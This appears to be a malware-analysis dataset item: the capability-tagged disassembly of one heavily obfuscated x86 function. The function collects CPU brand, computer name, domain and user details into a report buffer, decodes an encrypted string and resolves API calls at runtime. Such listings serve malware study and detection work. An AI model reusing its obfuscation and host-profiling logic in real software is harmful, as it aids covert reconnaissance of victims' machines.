Function at 0x428048
Capabilities:
Check http status code
Get hostname
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x140
mov esi, esp
mov dword [esi + 4], 0xd818de76
mov eax, dword [esi + 4]
cmp eax, 0x5ae7cf5
jg 0x4280c7
cmp eax, 0xc4c9c285
jg 0x42815c
cmp eax, 0xa8c75e35
jg 0x42820e
cmp eax, 0x9252eb52
jle 0x428411
cmp eax, 0xa0869438
jg 0x428758
cmp eax, 0x9ceb4c3c
jg 0x428c9a
cmp eax, 0x9252eb53
je 0x4295af
cmp eax, 0x939409e9
je 0x429605
cmp eax, 0x98ec8314
jne 0x428060
mov dword [esi + 4], 0xcde339b0
jmp 0x428060
cmp eax, 0x47334019
jg 0x4281b5
cmp eax, 0x27d54626
jg 0x428281
cmp eax, 0x1964a6a7
jle 0x42849a
cmp eax, 0x1f67777f
jg 0x4287c4
cmp eax, 0x1c21ad58
jg 0x428ce8
cmp eax, 0x1964a6a8
je 0x42961d
cmp eax, 0x1a6735c0
je 0x429637
cmp eax, 0x1bf8b4fb
jne 0x428060
push dword [esi + 0x14]
push dword [esi + 0xc]
call fcn.0043ca30
add esp, 8
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x20]
mov eax, dword [esi + 0x20]
add eax, 4
mov dword [esi + 0x128], eax
mov dword [esi + 4], 0x206bb2f5
jmp 0x428060
cmp eax, 0xe47e4be2
jg 0x4282fd
cmp eax, 0xd6188768
jle 0x4284f0
cmp eax, 0xdbb22b16
jg 0x428810
cmp eax, 0xd7979249
jg 0x428d5f
cmp eax, 0xd6188769
je 0x429672
cmp eax, 0xd6500c06
je 0x42967e
cmp eax, 0xd679a096
jne 0x428060
mov dword [esi + 4], 0x7ed04493
jmp 0x428060
cmp eax, 0x623dc965
jg 0x428394
cmp eax, 0x54ed3634
jle 0x428533
cmp eax, 0x5aed916d
jg 0x428865
cmp eax, 0x58a1ac95
jg 0x428dbe
cmp eax, 0x54ed3635
je 0x4296ac
cmp eax, 0x55d33f9b
je 0x4296bf
cmp eax, 0x5602a2d7
jne 0x428060
mov dword [esi + 4], 0xa963abec
jmp 0x428060
cmp eax, 0xb30fe7f7
jle 0x428585
cmp eax, 0xb7434dc6
jg 0x4288ab
cmp eax, 0xb4b93499
jg 0x428e26
cmp eax, 0xb30fe7f8
je 0x4296e3
cmp eax, 0xb360ee17
je 0x429742
cmp eax, 0xb3b84475
jne 0x428060
mov eax, dword [esi + 0x10]
mov ecx, 0xffffff18
add eax, ecx
shr eax, 0x1c
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x56e5
dec edx
add eax, 0x13
mov dword [esi + 0x10], eax
mov eax, 0xad5b4539
cmp edx, ecx
jne 0x4294f2
jmp 0x42a941
cmp eax, 0x385efa86
jle 0x4285ef
cmp eax, 0x3f05df7f
jg 0x428901
cmp eax, 0x3bcd4b57
jg 0x428e5a
cmp eax, 0x385efa87
je 0x42976f
cmp eax, 0x3aeee27d
je 0x429794
cmp eax, 0x3b4d0c96
jne 0x428060
imul ebx, dword [esi + 8], 0xde00000
add ebx, 0x2c0000
mov eax, ebx
shr eax, 0xf
mov dword [esi + 8], eax
call fcn.0040560b
call fcn.0040560b
mov eax, 0x9fdb67c9
cmp ebx, 0x5b8000
jb 0x42a941
mov eax, 0xe483f551
jmp 0x42a941
cmp eax, 0xf84f1a2c
jle 0x428653
cmp eax, 0x67d7b1
jg 0x428949
cmp eax, 0xfd1ed99e
jg 0x428e8a
cmp eax, 0xf84f1a2d
je 0x4297d6
cmp eax, 0xf998b3fe
je 0x42981d
cmp eax, 0xfbf14b31
jne 0x428060
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
add eax, dword [esi + 0xc]
push 0x21
push str.BVnUqo___RipnDick
push eax
call fcn.004321d0
add esp, 0xc
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa0a
mov byte [ecx + eax + 2], 0
push 1
push 0x8000
call fcn.0043b940
add esp, 8
mov dword [esi + 0x7c], eax
mov dword [esi + 4], 0x43b4407d
jmp 0x428060
cmp eax, 0x72c4531f
jle 0x4286de
cmp eax, 0x769bf18b
jle 0x428981
cmp eax, 0x7c840333
jg 0x428ec2
cmp eax, 0x769bf18c
je 0x42984c
cmp eax, 0x783a9b22
je 0x429884
cmp eax, 0x7aeb6bba
jne 0x428060
imul ebx, dword [esi + 8], 0x61
add ebx, 0xffffa879
mov dword [esi + 8], ebx
push 0x5b1
push 0x43b5
push ebx
call fcn.004273c5
add esp, 0xc
mov eax, 0xa8c75e36
cmp ebx, 0x9f
jge 0x42a941
mov eax, 0x7ccb0544
jmp 0x42a941
cmp eax, 0x89170e66
jle 0x4289b9
cmp eax, 0x8d6667c7
jg 0x428f33
cmp eax, 0x89170e67
je 0x429897
cmp eax, 0x8928d3c3
je 0x4298b2
cmp eax, 0x8aa7665d
jne 0x428060
mov eax, dword [esi + 0x24]
mov ecx, dword [eax]
mov ebx, dword [eax + 4]
shld ebx, ecx, 0x16
push 1
mov edi, 0xa
push edi
call fcn.0043b940
add esp, 8
mov dword [esi + 0x90], eax
push edi
push dword [esi + 0x90]
push ebx
call fcn.0043a1c8
add esp, 0xc
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x130], eax
mov dword [esi + 4], 0xcbf6867d
jmp 0x428060
cmp eax, 0xc6f5210
jle 0x428a1b
cmp eax, 0x1251d394
jg 0x428f6b
cmp eax, 0xc6f5211
je 0x4298e7
cmp eax, 0xf05b0e6
je 0x429901
cmp eax, 0xf39a69d
jne 0x428060
mov eax, dword [esi + 8]
shl eax, 3
and eax, 0xfffff8
mov dword [esi + 8], eax
call fcn.0040560b
mov dword [esi + 4], 0x293a4e14
jmp 0x428060
cmp eax, 0xcde339af
jle 0x428a80
cmp eax, 0xd1d22a05
jg 0x428fa7
cmp eax, 0xcde339b0
je 0x429927
cmp eax, 0xce2346b8
je 0x429957
cmp eax, 0xce552804
jne 0x428060
mov dword [esi + 4], 0xe40ce2aa
jmp 0x428060
cmp eax, 0x4cba4def
jle 0x428acf
cmp eax, 0x51900570
jg 0x428ff1
cmp eax, 0x4cba4df0
je 0x42998a
cmp eax, 0x4f121936
je 0x4299b4
cmp eax, 0x50f6307b
jne 0x428060
imul eax, dword [esi + 0x10], 0x2e32
add eax, 0x177564
mov dword [esi + 0x10], eax
mov dword [esi + 4], 0x5b1843a4
jmp 0x428060
cmp eax, 0xacefb05b
jle 0x428b61
cmp eax, 0xb2cc8519
jg 0x429038
cmp eax, 0xacefb05c
je 0x4299d9
cmp eax, 0xad5b4539
je 0x429a1c
cmp eax, 0xb00ced17
jne 0x428060
mov eax, dword [esi + 0x10]
shr eax, 0xe
lea ecx, [eax - 0xf1]
imul eax, eax
imul edx, eax, 0x6915
dec edx
shr ecx, 0xf
mov dword [esi + 0x10], ecx
mov ecx, 0x681c0f20
cmp eax, edx
je 0x42a02e
mov ecx, 0x729f200d
jmp 0x42a02e
cmp eax, 0x2ed4b61e
jle 0x428bc7
cmp eax, 0x32b3c8cb
jg 0x429098
cmp eax, 0x2ed4b61f
je 0x429a40
cmp eax, 0x2f6863b7
je 0x429a4c
cmp eax, 0x31965cbe
jne 0x428060
imul edi, dword [esi + 8], 0x92
add edi, 0x7dc7
mov dword [esi + 8], edi
call fcn.0040560b
mov eax, 0xba5af093
cmp edi, 0x2d
jb 0x42a941
mov eax, 0xfd691bec
jmp 0x42a941
cmp eax, 0xe8f1218e
jle 0x428c11
cmp eax, 0xee3271ee
jg 0x4290ef
cmp eax, 0xe8f1218f
je 0x429a9b
cmp eax, 0xea1e4123
je 0x429add
cmp eax, 0xec46feb8
jne 0x428060
push 1
push 0x41
call fcn.0043b940
add esp, 8
mov dword [esi + 0x14], eax
mov eax, 0x80000002
xor ecx, ecx
cpuid
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], ebx
mov dword [esi + 0x44], ecx
mov dword [esi + 0x48], edx
mov eax, dword [esi + 0x40]
mov eax, dword [esi + 0x44]
mov eax, dword [esi + 0x48]
mov eax, dword [esi + 0x3c]
mov dword [esi + 0xfc], eax
mov eax, dword [esi + 0x48]
mov eax, dword [esi + 0x44]
mov eax, dword [esi + 0x3c]
mov eax, dword [esi + 0x40]
mov dword [esi + 0x100], eax
mov dword [esi + 4], 0xd6188769
jmp 0x428060
cmp eax, 0x6870efa1
jle 0x428c57
cmp eax, 0x6e1c8c80
jg 0x42914b
cmp eax, 0x6870efa2
je 0x429afc
cmp eax, 0x69f6c253
je 0x429b36
cmp eax, 0x6b403010
jne 0x428060
mov eax, dword [esi + 8]
shl eax, 6
and eax, 0x3ffffc0
imul edi, eax, 0xc1
add edi, 0x3ace
mov ebx, edi
shr ebx, 0xb
mov dword [esi + 8], ebx
call fcn.0040560b
push ebx
call fcn.00428048
add esp, 4
mov eax, 0x7ccb0544
cmp edi, 0x75800
jb 0x42987a
jmp 0x42a941
cmp eax, 0xa53e1d54
jg 0x4291be
cmp eax, 0xa0869439
je 0x429b53
cmp eax, 0xa18d186b
je 0x429b86
cmp eax, 0xa2605f56
jne 0x428060
mov ebx, dword [esi + 8]
shl ebx, 6
add ebx, 0xffffc940
and ebx, 0xfffffc00
mov dword [esi + 8], ebx
call fcn.0040560b
push ebx
push 0x340c
push 0x2d21
call fcn.004273c5
add esp, 0xc
mov eax, 0x25b4543f
cmp ebx, 0x37
jl 0x42908e
jmp 0x42a941
cmp eax, 0x25b4543e
jg 0x4291fd
cmp eax, 0x1f677780
je 0x429ba9
cmp eax, 0x206bb2f5
je 0x429bc7
cmp eax, 0x21102173
jne 0x428060
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0xbc], eax
mov dword [esi + 4], 0xe8f1218f
jmp 0x428060
cmp eax, 0xddb15dad
jg 0x42923e
cmp eax, 0xdbb22b17
je 0x429bfc
cmp eax, 0xdd15db0d
je 0x429c1a
cmp eax, 0xdd1c5951
jne 0x428060
imul eax, dword [esi + 8], 0x1a0
add eax, 0xe76d
mov dword [esi + 8], eax
push eax
call fcn.00428048
add esp, 4
call fcn.0040560b
mov dword [esi + 4], 0x27d54627
jmp 0x428060
cmp eax, 0x5cb6e664
jg 0x429291
cmp eax, 0x5aed916e
je 0x429c64
cmp eax, 0x5b1843a4
je 0x429c73
cmp eax, 0x5c5835ad
jne 0x428060
mov eax, dword [esi + 0x10]
shl eax, 0xf
add eax, 0x7afef9
mov dword [esi + 0x10], eax
mov dword [esi + 4], 0x5602a2d7
jmp 0x428060
cmp eax, 0xba5af092
jg 0x4292be
cmp eax, 0xb7434dc7
je 0x429cad
cmp eax, 0xb8f068c5
je 0x429cea
cmp eax, 0xb947c3e5
jne 0x428060
imul ecx, dword [esi + 8], 0xaf
mov eax, ecx
shr eax, 4
mov dword [esi + 8], eax
mov eax, 0xe54eb51f
cmp ecx, 0xd0
jae 0x42a941
mov eax, 0x9ceb4c3d
jmp 0x42a941
cmp eax, 0x4371cbc2
jg 0x429307
cmp eax, 0x3f05df80
je 0x429cfd
cmp eax, 0x408035dc
je 0x429d28
cmp eax, 0x410b6d0d
jne 0x428060
mov eax, dword [esi + 0x10]
lea eax, [eax + eax*8]
lea eax, [eax*8 - 0x900]
mov dword [esi + 0x10], eax
mov dword [esi + 4], 0x7ccb0544
jmp 0x428060
cmp eax, 0x366131d
jg 0x429365
cmp eax, 0x67d7b2
je 0x429d5d
cmp eax, 0x14e076b
je 0x429d7a
cmp eax, 0x1541b14
jne 0x428060
mov dword [esi + 4], 0xacefb05c
jmp 0x428060
cmp eax, 0x753c369d
jle 0x4293bb
cmp eax, 0x753c369e
je 0x429d89
cmp eax, 0x757d55cc
je 0x429db9
cmp eax, 0x76467f4f
jne 0x428060
mov dword [esi + 4], 0x623dc966
jmp 0x428060
cmp eax, 0x87923459
jle 0x4293eb
cmp eax, 0x8792345a
je 0x429ddc
cmp eax, 0x88aafe5f
je 0x429de8
cmp eax, 0x8911bf53
jne 0x428060
mov ecx, dword [esi + 0x10]
lea eax, [ecx - 0x1e]
imul eax, eax
add ecx, 2
imul edx, eax, 0x6989
shr ecx, 0xb
dec edx
add ecx, 0x81
mov dword [esi + 0x10], ecx
mov ecx, 0xddb15dae
cmp edx, eax
je 0x42a02e
mov ecx, 0x98ec8314
jmp 0x42a02e
cmp eax, 0x7576377
jle 0x429430
cmp eax, 0x7576378
je 0x429e10
cmp eax, 0x8dbdbc4
je 0x429e55
cmp eax, 0x9afd583
jne 0x428060
imul eax, dword [esi + 8], 0xe1
add eax, 0x4812
shr eax, 6
and eax, 0xfffffff0
add eax, 0xffffff10
mov ecx, eax
shr ecx, 5
mov dword [esi + 8], ecx
mov ecx, 0xa8c75e36
cmp eax, 0x16e0
jb 0x42a02e
mov ecx, 0x5a2f4ff5
jmp 0x42a02e
cmp eax, 0xca62c2b1
jle 0x42945d
cmp eax, 0xca62c2b2
je 0x429e95
cmp eax, 0xcbf6867d
je 0x429eba
cmp eax, 0xcde2a732
jne 0x428060
mov eax, dword [esi + 0x18]
mov dword [eax], 0x100
push dword [esi + 0x18]
push dword [esi + 0x2c]
push 2
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov dword [esi + 4], 0x1ef00048
jmp 0x428060
cmp eax, 0x4a9dd6a1
jle 0x429488
cmp eax, 0x4a9dd6a2
je 0x429efd
cmp eax, 0x4b1c1da0
je 0x429f31
cmp eax, 0x4c02e121
jne 0x428060
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x104]
mov dword [eax + 0x10], ecx
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x108]
mov dword [eax + 0x14], ecx
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x10c]
mov dword [eax + 0x18], ecx
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x110]
mov dword [eax + 0x1c], ecx
mov eax, 0x80000004
mov ecx, 0
cpuid
mov dword [esi + 0x5c], eax
mov dword [esi + 0x60], ebx
mov dword [esi + 0x64], ecx
mov dword [esi + 0x68], edx
mov eax, dword [esi + 0x60]
mov eax, dword [esi + 0x64]
mov eax, dword [esi + 0x68]
mov eax, dword [esi + 0x5c]
mov dword [esi + 0x114], eax
mov dword [esi + 4], 0xce552804
jmp 0x428060
cmp eax, 0xa963abeb
jle 0x4294be
cmp eax, 0xa963abec
je 0x429f4a
cmp eax, 0xaa7c82f5
je 0x429fb8
cmp eax, 0xab9fbec5
jne 0x428060
imul eax, dword [esi + 8], 0x9f
shr eax, 0xd
imul ebx, eax, 0x74
lea eax, [ebx - 0x1ff4]
mov dword [esi + 8], eax
push eax
call fcn.00428048
add esp, 4
mov eax, 0x6b403010
cmp ebx, 0x207b
jb 0x42a941
mov eax, 0xa2605f56
jmp 0x42a941
cmp eax, 0x2b68d8b3
jle 0x4294fc
cmp eax, 0x2b68d8b4
je 0x429fe7
cmp eax, 0x2ccbb42d
je 0x42a005
cmp eax, 0x2d3645e5
jne 0x428060
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0xc4]
mov word [eax + ecx], 0xa
mov eax, dword [esi + 0x1c]
mov dword [esi + 4], 0x8928d3c3
jmp 0x428060
cmp eax, 0xe54eb51e
jle 0x42952e
cmp eax, 0xe54eb51f
je 0x42a036
cmp eax, 0xe6e81e80
je 0x42a068
cmp eax, 0xe7ee7338
jne 0x428060
mov eax, dword [esi + 0x10]
shl eax, 0x1c
xor eax, 0xffffff1f
mov dword [esi + 0x10], eax
mov dword [esi + 4], 0x8aa7665d
jmp 0x428060
cmp eax, 0x664dce87
jle 0x42957e
cmp eax, 0x664dce88
je 0x42a08e
cmp eax, 0x671ff552
je 0x42a0ca
cmp eax, 0x681c0f20
jne 0x428060
push dword [esi + 0x78]
call fcn.0043c186
add esp, 4
mov dword [esi + 4], 0xb4b9349a
jmp 0x428060
cmp eax, 0x9ceb4c3d
je 0x42a0d6
cmp eax, 0x9fdb67c9
je 0x42a10c
cmp eax, 0x9fdb8c01
jne 0x428060
imul edi, dword [esi + 8], 0x3a
add edi, 0x8a
mov dword [esi + 8], edi
call fcn.0040560b
mov eax, 0x8eb6d7dd
cmp edi, 0x85
jb 0x42a941
mov eax, 0x25b4543f
jmp 0x42a941
cmp eax, 0x1c21ad59
je 0x42a129
cmp eax, 0x1ec15ad4
je 0x42a13c
cmp eax, 0x1ef00048
jne 0x428060
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
mov ecx, dword [esi + 0xc]
mov dword [ecx + eax], 0x6f44202d
mov dword [ecx + eax + 4], 0x6e69616d
mov dword [ecx + eax + 7], 0x203a6e
push dword [esi + 0x2c]
push dword [esi + 0xc]
call fcn.0043ca30
add esp, 8
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x30]
mov dword [esi + 4], 0x5c5835ad
jmp 0x428060
cmp eax, 0xd797924a
je 0x42a154
cmp eax, 0xd818de76
je 0x42a16f
cmp eax, 0xdb7fe5fa
jne 0x428060
imul ebx, dword [esi + 8], 0x14e0
add ebx, 0xffffff52
mov dword [esi + 8], ebx
push 0x940
push ebx
push 0x5642
call fcn.004273c5
add esp, 0xc
mov eax, 0xfd691bec
cmp ebx, 0xe2
jl 0x42a941
mov eax, 0x5a9213f3
jmp 0x42a941
cmp eax, 0x58a1ac96
je 0x42a181
cmp eax, 0x5a2f4ff5
je 0x42a1bd
cmp eax, 0x5a9213f3
jne 0x428060
imul ebx, dword [esi + 8], 0x1ec0
add ebx, 0x3d80
mov dword [esi + 8], ebx
push ebx
call fcn.00428048
add esp, 4
push 0x6092
push 0x5895
push ebx
call fcn.004273c5
add esp, 0xc
mov eax, 0xec46feb8
cmp ebx, 0xab
jge 0x42a941
mov eax, 0xb7434dc7
jmp 0x42a941
cmp eax, 0xb4b9349a
je 0x42a203
cmp eax, 0xb4d4536b
je 0x42a21b
cmp eax, 0xb5726028
jne 0x428060
mov dword [esi + 0x10], 0x4340097
mov dword [esi + 4], 0xfd691bec
jmp 0x428060
cmp eax, 0x3bcd4b58
je 0x42a23f
cmp eax, 0x3e8274d3
je 0x42a272
cmp eax, 0x3e9cebff
jne 0x428060
mov eax, dword [esi + 0x34]
mov dword [esi + 4], 0x4a9dd6a2
jmp 0x428060
cmp eax, 0xfd1ed99f
je 0x42a2b0
cmp eax, 0xfd691bec
je 0x42a2db
cmp eax, 0xdd6bf
jne 0x428060
mov eax, dword [esi + 0xa8]
mov word [eax], 0xa
mov dword [esi + 4], 0x1964a6a8
jmp 0x428060
cmp eax, 0x7c840334
je 0x42a7ba
cmp eax, 0x7ccb0544
je 0x42a336
cmp eax, 0x7ed04493
jne 0x428060
mov eax, dword [esi + 0xac]
push dword [esi + 0x28]
push dword [esi + 0x80]
call eax
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
mov ecx, dword [esi + 0xc]
mov dword [ecx + eax], 0x7355202d
mov dword [ecx + eax + 4], 0x203a7265
mov byte [ecx + eax + 8], 0
push dword [esi + 0x80]
push dword [esi + 0xc]
call fcn.0043ca30
add esp, 8
mov dword [esi + 4], 0x2ccbb42d
jmp 0x428060
cmp eax, 0x8d6667c8
je 0x42a362
cmp eax, 0x8eb6d7dd
je 0x42a392
cmp eax, 0x8f1d1899
jne 0x428060
mov eax, dword [esi + 0x12c]
push dword [esi + 0x24]
call eax
mov dword [esi + 4], 0xe7ee7338
jmp 0x428060
cmp eax, 0x1251d395
je 0x42a3aa
cmp eax, 0x14a64970
je 0x42a3da
cmp eax, 0x14bd0cb5
jne 0x428060
mov eax, dword [esi + 0xc]
add eax, dword [esi + 0xf4]
mov dword [esi + 0xf8], eax
mov dword [esi + 4], 0x2f6863b7
jmp 0x428060
cmp eax, 0xd1d22a06
je 0x42a401
cmp eax, 0xd4eb179e
je 0x42a425
cmp eax, 0xd5aed48d
jne 0x428060
imul eax, dword [esi + 8], 0x9f
add eax, 0x28
shr eax, 0xb
imul eax, eax, 0x4c
mov dword [esi + 8], eax
call fcn.0040560b
call fcn.0040560b
mov dword [esi + 4], 0xdd6bf
jmp 0x428060
cmp eax, 0x51900571
je 0x42a44c
cmp eax, 0x521a29f2
je 0x42a46c
cmp eax, 0x52dce113
jne 0x428060
imul eax, dword [esi + 8], 0x210000
shr eax, 1
mov dword [esi + 8], eax
push eax
call fcn.00428048
add esp, 4
call fcn.0040560b
mov dword [esi + 4], 0x25b4543f
jmp 0x428060
cmp eax, 0xb2cc851a
je 0x42a4d5
cmp eax, 0xb2fbf1fe
je 0x42a50b
cmp eax, 0xb2ff0500
jne 0x428060
mov eax, dword [esi + 8]
lea ebx, [eax*4 - 0x1a7]
mov edi, ebx
shr edi, 0xa
mov dword [esi + 8], edi
push edi
call fcn.00428048
add esp, 4
push edi
call fcn.00428048
add esp, 4
mov eax, 0xdd1c5951
cmp ebx, 0x2e800
jae 0x42a941
mov eax, 0x27d54627
jmp 0x42a941
cmp eax, 0x32b3c8cc
je 0x42a521
cmp eax, 0x33dae76c
je 0x42a53d
cmp eax, 0x37c947d6
jne 0x428060
mov eax, dword [esi + 0x10]
shr eax, 9
lea ecx, [eax + 0x8d]
imul ecx, ecx
add eax, 0xffffffe2
imul edx, ecx, 0x4715
dec edx
shr eax, 6
mov dword [esi + 0x10], eax
mov eax, 0x664dce88
cmp ecx, edx
je 0x42a941
mov eax, 0x1bf8b4fb
jmp 0x42a941
cmp eax, 0xee3271ef
je 0x42a562
cmp eax, 0xf6e8e4fa
je 0x42a56e
cmp eax, 0xf6ef9cbc
jne 0x428060
mov eax, dword [esi + 8]
shl eax, 3
and eax, 0xffff8
lea eax, [eax + eax*8]
lea edi, [eax + eax*2]
shr edi, 0xc
mov dword [esi + 8], edi
call fcn.0040560b
push 0xdfe
push 0xde0
push edi
call fcn.004273c5
add esp, 0xc
mov dword [esi + 4], 0x2f6863b7
jmp 0x428060
cmp eax, 0x6e1c8c81
je 0x42a589
cmp eax, 0x723d941a
je 0x42a5ae
cmp eax, 0x729f200d
jne 0x428060
mov eax, dword [esi + 0xe0]
push dword [esi + 0xd0]
push dword [esi + 0xd8]
push dword [esi + 0xdc]
push dword [eax]
push str._s___d._d._d_
push 0x7ff
push dword [esi + 0x84]
call fcn.004273c5
add esp, 0x1c
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0xe4], eax
mov dword [esi + 4], 0xb360ee17
jmp 0x428060
cmp eax, 0xa53e1d55
je 0x42a5f3
cmp eax, 0xa6935e71
je 0x42a629
cmp eax, 0xa7d93225
jne 0x428060
imul eax, dword [esi + 0x10], 0x328000
add eax, 0x284000
shr eax, 0xa
mov dword [esi + 0x10], eax
mov dword [esi + 4], 0x5ae7cf6
jmp 0x428060
cmp eax, 0x25b4543f
je 0x42a670
cmp eax, 0x260bbb44
je 0x42a688
cmp eax, 0x2756e91f
jne 0x428060
mov eax, dword [esi + 8]
add eax, 0xfffffffb
shr eax, 0xf
imul eax, eax, 0x4b
mov dword [esi + 8], eax
call fcn.0040560b
mov dword [esi + 4], 0x1ec15ad4
jmp 0x428060
cmp eax, 0xddb15dae
je 0x42a694
cmp eax, 0xe40ce2aa
je 0x42a6bf
cmp eax, 0xe449f44d
jne 0x428060
mov eax, dword [esi + 8]
mov ebx, eax
shl ebx, 8
sub ebx, eax
add ebx, 0xffff3bc5
mov dword [esi + 8], ebx
push ebx
call fcn.00428048
add esp, 4
mov eax, 0x1ec15ad4
cmp ebx, 0xc2
jb 0x42a5e9
jmp 0x42a941
cmp eax, 0x5cb6e665
je 0x42a6dd
cmp eax, 0x5e8de54a
je 0x42a70c
cmp eax, 0x5f4319e1
jne 0x428060
mov dword [esi + 4], 0x753c369e
jmp 0x428060
cmp eax, 0xba5af093
je 0x42a753
cmp eax, 0xc1010f35
je 0x42a7a3
cmp eax, 0xc32f5f3a
jne 0x428060
mov eax, dword [esi + 0x10]
shr eax, 2
imul eax, eax, 0xfa
add eax, 0xffff5513
shr eax, 2
and eax, 0x3ffffc00
mov dword [esi + 0x10], eax
mov dword [esi + 4], 0x6351186d
jmp 0x428060
cmp eax, 0x4371cbc3
je 0x42a7c6
cmp eax, 0x43b4407d
je 0x42a7f7
cmp eax, 0x465585f3
jne 0x428060
imul ebx, dword [esi + 8], 0xb3
mov eax, ebx
shr eax, 0xc
mov dword [esi + 8], eax
push eax
push 0x1fbc
push 0x254c
call fcn.004273c5
add esp, 0xc
mov eax, 0xf6ef9cbc
cmp ebx, 0x4a000
jb 0x42a941
mov eax, 0x51900571
jmp 0x42a941
cmp eax, 0x366131e
je 0x42a80f
cmp eax, 0x4bded57
je 0x42a847
cmp eax, 0x4c34006
jne 0x428060
mov eax, dword [esi + 8]
shl eax, 5
add eax, 0x1720
and eax, 0x7ffff800
add eax, eax
lea ebx, [eax + eax*8]
mov dword [esi + 8], ebx
call fcn.0040560b
mov eax, 0xd6500c06
cmp ebx, 0x23
jge 0x42a941
mov eax, 0x7aeb6bba
jmp 0x42a941
cmp eax, 0x72c45320
je 0x42a862
cmp eax, 0x741bc2e2
jne 0x42aa37
mov eax, dword [esi + 8]
shl eax, 0xf
add eax, 0x491fde
mov dword [esi + 8], eax
mov dword [esi + 4], 0x5a2f4ff5
jmp 0x428060
cmp eax, 0x83112651
je 0x42a8a4
cmp eax, 0x84d457ee
jne 0x428060
mov edi, dword [esi + 8]
shl edi, 8
add edi, 0xffffff0d
mov dword [esi + 8], edi
call fcn.0040560b
mov eax, 0xacefb05c
cmp edi, 0xd9
jge 0x42a941
mov eax, 0xe449f44d
jmp 0x42a941
cmp eax, 0x5ae7cf6
je 0x42a8b0
cmp eax, 0x6c5bacf
jne 0x428060
mov eax, dword [esi + 0xf0]
mov word [eax], 0xa
mov dword [esi + 4], 0x1f677780
jmp 0x428060
cmp eax, 0xc4c9c286
je 0x42a8d5
cmp eax, 0xc4f3998c
jne 0x428060
mov eax, dword [esi + 0x30]
mov eax, dword [esi + 0x18]
mov eax, dword [esi + 0x2c]
mov dword [esi + 4], 0x72d24bce
jmp 0x428060
cmp eax, 0x4733401a
je 0x42a91d
cmp eax, 0x482f1844
jne 0x428060
push dword [esi + 0xc]
call fcn.0043cc10
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0xf0], eax
mov dword [esi + 4], 0x757d55cc
jmp 0x428060
cmp eax, 0xa8c75e36
je 0x42a949
cmp eax, 0xa941ac8c
jne 0x428060
mov ecx, dword [esi + 8]
mov eax, 0xffffff4f
add ecx, eax
mov dword [esi + 8], ecx
mov eax, 0xb360ee17
cmp ecx, 0xff
jae 0x42a941
mov eax, 0x5a2f4ff5
jmp 0x42a941
cmp eax, 0x27d54627
je 0x42a964
cmp eax, 0x293a4e14
jne 0x428060
push str.cd9baf0081eec26dacd89d2cedd9da69a1ff8f32fda99c32f9ab990a
call fcn.0041d236
add esp, 4
mov dword [esi + 0x74], eax
mov dword [esi + 4], 0x1541b14
jmp 0x428060
cmp eax, 0xe47e4be3
je 0x42a98d
cmp eax, 0xe483f551
jne 0x428060
mov ebx, dword [esi + 8]
shr ebx, 0xa
add ebx, 0xffffffa7
mov eax, ebx
shr eax, 0xa
add eax, 0xa5
mov dword [esi + 8], eax
push eax
call fcn.00428048
add esp, 4
mov eax, 0x1ef00048
cmp ebx, 0x800
jb 0x42a941
mov eax, 0x4a9dd6a2
jmp 0x42a941
cmp eax, 0x623dc966
je 0x42a9b7
cmp eax, 0x6351186d
jne 0x428060
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0xb4]
mov word [eax + ecx], 0xa
mov dword [esi + 4], 0x3e9cebff
jmp 0x428060
imul ebx, dword [esi + 8], 0x20c0
add ebx, 0xfff6eac0
mov edi, ebx
shr edi, 5
mov dword [esi + 8], edi
push edi
push 0xef3
push 0x55a5
call fcn.004273c5
add esp, 0xc
push edi
push 0x6059
push 0x626b
call fcn.004273c5
add esp, 0xc
mov eax, 0x9afd583
cmp ebx, 0x1060
jb 0x42a941
mov eax, 0xacefb05c
jmp 0x42a941
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x120]
mov dword [eax + 0x2c], ecx
mov dword [esi + 4], 0x54ed3635
jmp 0x428060
mov eax, dword [esi + 0x10]
shl eax, 0x15
or eax, 0x2eda
mov dword [esi + 0x10], eax
mov dword [esi + 4], 0x72c45320
jmp 0x428060
imul eax, dword [esi + 0x10], 0xa7
add eax, 0x666b
mov ecx, eax
shr ecx, 9
imul eax, eax
imul edx, eax, 0x7789
dec edx
add ecx, 0xc1
mov dword [esi + 0x10], ecx
mov ecx, 0xb947c3e5
cmp eax, edx
je 0x42a02e
mov ecx, 0x8f1d1899
jmp 0x42a02e
mov dword [esi + 4], 0xb30fe7f8
jmp 0x428060
mov eax, dword [esi + 8]
shr eax, 4
add eax, 0xffffffeb
mov ecx, eax
shr ecx, 3
add ecx, 0x37
mov dword [esi + 8], ecx
mov ecx, 0x681c0f20
cmp eax, 0x1b0
jb 0x42a02e
mov ecx, 0x7576378
jmp 0x42a02e
imul eax, dword [esi + 0x10], 0x6c
mov dword [esi + 0x10], eax
mov dword [esi + 4], 0xa53e1d55
jmp 0x428060
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x114]
mov dword [eax + 0x20], ecx
mov eax, dword [esi + 0x14]
add eax, 0x24
mov dword [esi + 0x124], eax
mov dword [esi + 4], 0xe6e81e80
jmp 0x428060
